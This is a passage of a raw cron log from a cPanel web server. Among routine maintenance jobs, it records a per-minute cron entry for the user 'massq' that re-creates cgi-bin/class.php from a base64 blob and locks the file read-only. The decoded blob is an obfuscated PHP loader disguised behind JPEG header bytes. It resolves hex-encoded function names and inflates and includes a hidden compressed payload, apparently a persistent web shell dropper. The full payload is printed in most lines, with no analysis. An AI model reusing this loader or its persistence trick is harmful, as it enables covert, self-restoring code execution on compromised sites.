R0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:17:01 server CROND[9865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:17:01 server CROND[9866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:17:01 server CROND[9867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:18:01 server CROND[10249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:18:01 server CROND[10250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:18:01 server CROND[10251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:19:01 server CROND[10648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:19:01 server CROND[10649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:19:01 server CROND[10650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:20:02 server CROND[11117]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 16:20:02 server CROND[11118]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 16:20:02 server CROND[11121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:20:02 server CROND[11124]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 16:20:02 server CROND[11126]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 16:20:02 server CROND[11128]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:20:02 server CROND[11134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:20:02 server CROND[11135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:20:02 server CROND[11132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:21:01 server CROND[11957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:21:01 server CROND[11958]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:21:01 server CROND[11959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:22:01 server CROND[12346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:22:01 server CROND[12347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:22:01 server CROND[12348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:23:01 server CROND[12751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:23:01 server CROND[12750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:23:01 server CROND[12752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:24:01 server CROND[13124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:24:01 server CROND[13123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:24:01 server CROND[13125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:25:01 server CROND[13604]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 16:25:01 server CROND[13605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:25:01 server CROND[13606]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 16:25:01 server CROND[13611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:25:01 server CROND[13610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:25:01 server CROND[13620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:25:01 server CROND[13618]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 16:25:01 server CROND[13621]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:26:01 server CROND[14455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:26:01 server CROND[14456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:26:01 server CROND[14457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:27:01 server CROND[14824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:27:01 server CROND[14825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:27:01 server CROND[14826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:27:01 server CROND[14827]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 16:28:02 server CROND[15218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
